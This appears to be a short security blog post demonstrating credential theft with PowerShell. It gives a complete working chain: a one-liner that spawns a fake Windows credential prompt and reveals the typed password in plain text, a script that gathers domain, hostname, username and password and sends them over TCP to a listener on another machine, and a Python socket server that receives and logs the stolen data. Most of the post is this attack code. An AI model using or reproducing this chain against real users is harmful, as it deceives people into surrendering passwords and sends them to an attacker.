PowerShell Credential Steal

by Vince
in Blog
Hits: 2290

I'm not even sure how I ended up down this rabbit hole but I strayed off the path for a talk that I'm giving next month.  I'm trying to show how to leverage PowerShell into doing the many things we do with various tools.  To some degree, you don't really need those tools. 

So this doesn't pluck the credentials out of memory or from the file system, we're going the old fashioned way -- we're tricking the user.  Imagine this -- a user is trying to work and Windows continues to prompt them for their credentials.  Will they ignore it?  No, they will enter their credentials. 

If you're on the local machine performing this trick, you don't need to specify domain\username.  However, if you end up on this machine through other means -- say Responder, you'll want to use the domain\username because it will throw an error prior to spawning the credential prompt.  Maybe that's not a bad thing but I'd rather do without it. 


This is two statements in a one-liner.  Basically, execute Get-Credential but store it as a variable.  Then we're going to call the variable and spit the password out in plain text.





On the user side, they just see this:





So I was thinking I could toss this over to a server and capture the inbound connections with Python.  I also have it logging to a file using the date stamp as the filename. 






import socket
import time

timestr = time.strftime("%Y%m%d-%H%M%S")

f = open(timestr,"w+")

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('192.168.86.99', 443)
sock.bind(server_address)

sock.listen(1)

while True:
    print ('waiting for a connection')
    connection, client_address = sock.accept()
    print ('connection from', client_address)
    data = connection.recv(64)
    print ("Data: %s" % data)
    f.write("Data: %s" % data)



I want to wrap this up with a nice little bow before I send it off --






$username = $env:UserName
$domain = (Get-WmiObject Win32_ComputerSystem).Domain
$hostname = ([System.Net.Dns]::GetHostByName(($env:computerName))).Hostname
$credential = Get-Credential webeit.local\pjackson
$port=443
$remoteHost = "192.168.86.99"
$Message = ($domain,$hostname,$env:UserName,$credential.GetNetworkCredential().Password)
$socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
$data = [System.Text.Encoding]::ASCII.GetBytes($message)
$stream = $socket.GetStream()
$stream.Write($data, 0, $data.Length)



Once everything is setup, I run my Python script and I receive my inbound connection:





As if it weren't obvious but I wanted to get the domain name, the machine name, the username, and the password.  If I receive multiple connections from different machines, it will make it easy to distinguish.